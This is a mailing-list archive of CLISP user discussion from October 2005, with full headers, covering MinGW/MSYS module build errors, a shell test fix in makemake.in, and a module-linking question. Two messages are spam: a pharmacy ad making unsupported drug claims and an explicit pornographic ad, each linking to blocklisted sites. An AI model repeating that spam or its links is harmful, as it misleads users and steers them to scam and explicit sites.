> * Doug Currie [2005-10-19 00:55:52 -0400]: > > Building from CVS today, MinGW / MSYS has trouble with src/makemake.in > when building modules. It may be that bash with MSYS is pretty old... next time, please paste the error message. this bug should be fixed in the CVS. thanks for reporting it. -- Sam Steingold (http://www.podval.org/~sds) running w2k Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From sds@gnu.org Wed Oct 19 18:11:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESOxt-0002WJ-Kk for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 18:11:29 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESOxs-0000Ju-5D for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 18:11:29 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Oct 2005 21:11:27 -0400 X-IronPort-AV: i="3.97,232,1125892800"; d="scan'208"; a="103973122:sNHT21954248" To: Doug Currie Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1388175469.20051019112006@flavors.com> (Doug Currie's message of "Wed, 19 Oct 2005 11:20:06 -0400") References: <1388175469.20051019112006@flavors.com> Mail-Followup-To: Doug Currie , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Bug report: Internal error ... has been reached!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 18:14:03 2005 X-Original-Date: Wed, 19 Oct 2005 21:10:24 -0400 > * Doug Currie [2005-10-19 11:20:06 -0400]: > > I am passing along a backtrace. please run under gdb and report "backtrace" and "zbacktrace". please do not use attachments on this list. if the backtraces are large, please make them available on the web. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who can't write, write manuals. From e@flavors.com Wed Oct 19 19:13:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESPw8-0005jO-UO for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 19:13:44 -0700 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1ESPw6-0007HI-Ju for clisp-list@lists.sourceforge.net; Wed, 19 Oct 2005 19:13:44 -0700 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id XMH67838; Wed, 19 Oct 2005 22:13:38 -0400 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <919437963.20051019221340@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net In-Reply-To: References: <1388175469.20051019112006@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Bug report: Internal error ... has been reached Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 19 19:14:14 2005 X-Original-Date: Wed, 19 Oct 2005 22:13:40 -0400 Wednesday, October 19, 2005, 9:10:24 PM, Sam wrote: > please run under gdb and report "backtrace" and "zbacktrace". (gdb) handle all stop (gdb) run -K full -repl -i .clisprc.lisp Starting program: c:\Dev\clisp\clisp\build-mingw-debug/clisp.exe -K full -repl -i .clisprc.lisp backtrace Program exited with code 030000000005. (gdb) (gdb) No stack. (gdb) No stack. (gdb) No stack. From kavenchuk@jenty.by Fri Oct 21 01:11:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ESrzk-0000AB-1c for clisp-list@lists.sourceforge.net; Fri, 21 Oct 2005 01:11:20 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ESrzh-0007Wd-Sb for clisp-list@lists.sourceforge.net; Fri, 21 Oct 2005 01:11:19 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK5XQF; Fri, 21 Oct 2005 11:12:09 +0300 Message-ID: <4358A2F2.2050309@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Doug Currie Subject: Re: [clisp-list] Re: MSYS MinGW build modules from CVS References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 21 01:11:57 2005 X-Original-Date: Fri, 21 Oct 2005 11:12:34 +0300 Sam Steingold wrote: > this bug should be fixed in the CVS. clisp from CVS (20.10.2005) $ configure ... --build ... ... ;; Compiling file C:\gnu\home\src\clisp\clisp\utils\modprep.lisp ... ;; Wrote file C:\gnu\home\src\clisp\clisp\build-full\modprep.fas 0 errors, 0 warnings ../src/lndir ../modules/i18n i18n m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a '!' i18n/config.status ; then cd i18n ; ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . ${cache }; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} --srcdir=$m --with-dynamic-ffi --with-readline --with-libreadline-prefix=/usr/ local --with-libtermcap-prefix=/usr/local --with-libpcre-prefix=/usr/local --with-libpq-prefix=c:/Po stgreSQL/8.0; else ./configure --srcdir=$m --with-dynamic-ffi --with-readline --with-libreadline-pre fix=/usr/local --with-libtermcap-prefix=/usr/local --with-libpcre-prefix=/usr/local --with-libpq-pre fix=c:/PostgreSQL/8.0; fi ) ; fi CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 - norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc -mno-cygwin" CPPFLAGS="-I/usr/local/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_W IN32 -DUNICODE -DDYNAMIC_FFI -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="/usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a -lterm cap -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigseg v" RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/home/src/clisp/clisp/build-full/i18n' make[1]: *** No rule to make target `clisp-module'. Stop. make[1]: Leaving directory `/home/src/clisp/clisp/build-full/i18n' make: *** [i18n] Error 2 Thanks! -- WBR, Yaroslav Kavenchuk. From ruarcburgio@m4am.net Sun Oct 23 10:20:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ETjVm-0005Yo-Bd for clisp-list@lists.sourceforge.net; Sun, 23 Oct 2005 10:19:58 -0700 Received: from [82.201.235.209] (helo=m4am.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1ETjVk-0007Hi-Jo for clisp-list@lists.sourceforge.net; Sun, 23 Oct 2005 10:19:58 -0700 Received: by 192.168.171.19 with SMTP id xDzKmy-snhcuO-fA; Sun, 23 Oct 2005 12:20:30 -0500 Received: by 192.168.2.181 with HTTP; Sun, 23 Oct 2005 12:20:30 -0500 Message-ID: <98d8db1657dd2b79a4ac6715b5d9c8aa@confuse> From: "Ruarc Burgio" To: "Melina Ridenhour" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: agansim.com] Subject: [clisp-list] Re: Travis's Must read story Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 23 10:21:08 2005 X-Original-Date: Sun, 23 Oct 2005 12:20:26 -0500 I am in good health and have always enjoyed sex. I was losing my erection during intercourse and during oral sex with my girlfriend. It was difficult to pinpoint the problem so I decided to order some Vjagrra online. I ordered my Vjagrra which arrived in several days. I ordered 4x100mg pills and on the weekend decided to give it a go without saying anything to my girlfriend ;) 35 minutes before we went to bed I took half a pill, and WOW! what a difference. I had a rock hard erection for over an hour of non stop sex. Even after I had climaxed I was ready to go again in twenty minutes, which we did. this lasted for over two hours, and I was still hard in the shower after. It was like being a teenager over again. Amazing! If you have a problem, try Vjagrra, it is great http://www.agansim.com From dimitrios.kapanikis@gmail.com Mon Oct 24 05:05:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EU14c-0007LR-II for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 05:05:06 -0700 Received: from qproxy.gmail.com ([72.14.204.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EU14c-0006oK-D0 for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 05:05:06 -0700 Received: by qproxy.gmail.com with SMTP id o12so178446qba for ; Mon, 24 Oct 2005 05:04:49 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=U1JfMlTHemPnAbaqGLOb7yWRCtn4PHoJamak1MVTKG7jZ+BtFvTILnq7yDFGgSqPypl357P0Waq9kYbkpFOZfk45h8XW/rP3qJwtlJG7QmPaahxdw1Fb88t/BLFWXW6A3Ysd+CLrP6IHGvWH6tsGL4svF66Wg0huIufRkkU3JfQ= Received: by 10.65.153.2 with SMTP id f2mr2689346qbo; Mon, 24 Oct 2005 05:04:49 -0700 (PDT) Received: by 10.65.192.2 with HTTP; Mon, 24 Oct 2005 05:04:49 -0700 (PDT) Message-ID: <243236a40510240504n35cf1b2cs@mail.gmail.com> From: Dimitrios Kapanikis To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Subject: [clisp-list] external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 24 05:06:25 2005 X-Original-Date: Mon, 24 Oct 2005 14:04:49 +0200 Hi, i followed the Instructions on the Section http://clisp.sourceforge.net/impnotes.html#modules to bind an external module to the current clisp version. During trying step 4 of the example $ clisp-link add-module-set linux base base+linux i could build a new lisp.exe but after that i cannot build my own lispinit.= mem $ base+mymodule/lisp.exe -B . -M base/lispinit.mem -norc -q -i /mybindings/mymodule.fas -x '(saveinitmem "base+mymodule/lispinit.mem")' the error-message of lisp.exe was: *** - READ from #: there is no package with name "MYPACKAGE" can anybody help me? I am using clisp 2.35.1 with cygwin. Thanks! Dimitrios From sds@gnu.org Mon Oct 24 07:59:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EU3my-00027r-Iv for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 07:59:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EU3mw-00044i-8Q for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 07:59:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9OEwcnC013660; Mon, 24 Oct 2005 10:58:44 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40510240504n35cf1b2cs@mail.gmail.com> (Dimitrios Kapanikis's message of "Mon, 24 Oct 2005 14:04:49 +0200") References: <243236a40510240504n35cf1b2cs@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: external module and building own lispinit.mem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 24 08:00:37 2005 X-Original-Date: Mon, 24 Oct 2005 10:57:37 -0400 > * Dimitrios Kapanikis [2005-10-24 14:04:49 +0200]: > > i followed the Instructions on the Section > http://clisp.sourceforge.net/impnotes.html#modules to bind an external > module to the current clisp version. > > During trying step 4 of the example > > $ clisp-link add-module-set linux base base+linux > > i could build a new lisp.exe but after that i cannot build my own lispinit.mem > > $ base+mymodule/lisp.exe -B . -M base/lispinit.mem -norc -q -i > /mybindings/mymodule.fas -x '(saveinitmem > "base+mymodule/lispinit.mem")' > > the error-message of lisp.exe was: > > *** - READ from #: there is no package with > name "MYPACKAGE" > > can anybody help me? I am using clisp 2.35.1 with cygwin. -- Sam Steingold (http://www.podval.org/~sds) running w2k Why do we want intelligent terminals when there are so many stupid users? From bfullerwodd@troy.mtsd.org Mon Oct 24 12:13:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EU7la-0002SG-1I for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 12:13:54 -0700 Received: from sub221-108.elpos.net ([85.193.221.108]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EU7lX-0006rk-Q9 for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 12:13:53 -0700 Received: from ms4.tcnoc.com by sub221-108.elpos.net (8.9.3/8.9.3) with SMTP id ntjXiaiIYhU0 for ; Mon, 24 Oct 2005 14:21:00 -0400 Received: from 215.236.234.69 by ms4.tcnoc.com (8.9.3/8.9.3) id I1adpscWBpxB for ; Mon, 24 Oct 2005 14:21:00 -0400 From: "Victor Cochran" Reply-To: "Victor Cochran" Message-ID: <7423567567.0503433432@troy.mtsd.org> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young 0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist [URIs: kopynadepuvyre.com] Subject: [clisp-list] Football Hot 18yo Teen Delicious Outfit Sexy Undressing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 24 12:15:03 2005 X-Original-Date: Mon, 24 Oct 2005 14:21:00 -0400 http://kopynadepuvyre.com/main/ Ave! :) Cute Busty 18yo Blonde Sucks & Rides Dick Long Haired 18yo Teen Beauty Sexy Posing & TeasingCute 18yo Blonde In Panties Giving HandjobCute Nude 18yo Babe Wild Kitchen Fucking From sds@gnu.org Mon Oct 24 12:53:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EU8Nj-0004wx-QU for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 12:53:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EU8Ni-0007EZ-1X for clisp-list@lists.sourceforge.net; Mon, 24 Oct 2005 12:53:20 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9OJquUL005986; Mon, 24 Oct 2005 15:53:01 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4358A2F2.2050309@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 21 Oct 2005 11:12:34 +0300") References: <4358A2F2.2050309@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: MSYS MinGW build modules from CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 24 12:54:30 2005 X-Original-Date: Mon, 24 Oct 2005 15:51:54 -0400 > * Yaroslav Kavenchuk [2005-10-21 11:12:34 +0300]: > > Sam Steingold wrote: >> this bug should be fixed in the CVS. > > clisp from CVS (20.10.2005) > > $ configure ... --build ... > ... > ;; Compiling file C:\gnu\home\src\clisp\clisp\utils\modprep.lisp ... > ;; Wrote file C:\gnu\home\src\clisp\clisp\build-full\modprep.fas > 0 errors, 0 warnings > ../src/lndir ../modules/i18n i18n > m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a '!' > i18n/config.status ; then cd i18n ; ( > cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test > -f ${cache} ; then . ${cache > }; if test "${ac_cv_env_CC_set}" = set; then CC="${ac_cv_env_CC_value}"; > export CC; fi; ./configure > --cache-file=${cache} --srcdir=$m --with-dynamic-ffi --with-readline > --with-libreadline-prefix=/usr/ > local --with-libtermcap-prefix=/usr/local > --with-libpcre-prefix=/usr/local --with-libpq-prefix=c:/Po > stgreSQL/8.0; else ./configure --srcdir=$m --with-dynamic-ffi > --with-readline --with-libreadline-pre > fix=/usr/local --with-libtermcap-prefix=/usr/local > --with-libpcre-prefix=/usr/local --with-libpq-pre > fix=c:/PostgreSQL/8.0; fi ) ; fi > CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale > -Efile UTF-8 -Eterminal UTF-8 - > norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e > 's,/$,,g'` ; make clisp-module > CC="gcc -mno-cygwin" CPPFLAGS="-I/usr/local/include" CFLAGS="-W > -Wswitch -Wcomment -Wpointer-arith > -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -fexpensive-optimizations -D_W > IN32 -DUNICODE -DDYNAMIC_FFI -I." INCLUDES="$dots" CLFLAGS="-x none" > LIBS="/usr/local/lib/libintl.a > /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a > /usr/local/lib/libreadline.a -lterm > cap -luser32 -lws2_32 -lole32 -loleaut32 -luuid > /usr/local/lib/libiconv.a -L/usr/local/lib -lsigseg > v" RANLIB="ranlib" CLISP="$CLISP -q" > make[1]: Entering directory `/home/src/clisp/clisp/build-full/i18n' > make[1]: *** No rule to make target `clisp-module'. Stop. > make[1]: Leaving directory `/home/src/clisp/clisp/build-full/i18n' > make: *** [i18n] Error 2 > > Thanks! I see nothing wrong with the code, could you please investigate yourself? (use "set -vx" for debugging scripts, read "man bash") -- Sam Steingold (http://www.podval.org/~sds) running w2k Why use Windows, when there are Doors? From kavenchuk@jenty.by Tue Oct 25 04:20:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUMrP-0007HY-6k for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 04:20:55 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUMrN-0007Ya-Er for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 04:20:55 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK61XG; Tue, 25 Oct 2005 14:21:47 +0300 Message-ID: <435E1561.8070205@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: MSYS MinGW build modules from CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 25 04:22:32 2005 X-Original-Date: Tue, 25 Oct 2005 14:22:09 +0300 Sam Steingold wrote: >>../src/lndir ../modules/i18n i18n >>m=`cd ../modules/i18n; pwd`; if test -f i18n/configure -a '!' >>i18n/config.status ; then cd i18n ; ( > I see nothing wrong with the code, could you please investigate > yourself? > (use "set -vx" for debugging scripts, read "man bash") > modules not configure `if test -f i18n/configure -a '!' i18n/config.status` not work. work `if test -f i18n/configure -a '!' -f i18n/config.status` Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Oct 25 05:02:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EUNVd-0000rJ-M4 for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 05:02:29 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EUNVb-0002xc-UE for clisp-list@lists.sourceforge.net; Tue, 25 Oct 2005 05:02:29 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCK6155; Tue, 25 Oct 2005 15:03:34 +0300 Message-ID: <435E1F2C.8080405@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: MSYS MinGW build modules from CVS References: <435E1561.8070205@jenty.by> In-Reply-To: <435E1561.8070205@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 25 05:03:25 2005 X-Original-Date: Tue, 25 Oct 2005 15:03:56 +0300 >>I see nothing wrong with the code, could you please investigate >>yourself? >>(use "set -vx" for debugging scripts, read "man bash") >> > > > modules not configure > `if test -f i18n/configure -a '!' i18n/config.status` not work. > work `if test -f i18n/configure -a '!' -f i18n/config.status` > --- makemake.in Tue Oct 25 11:46:14 2005 +++ makemake.in Tue Oct 25 11:46:50 2005 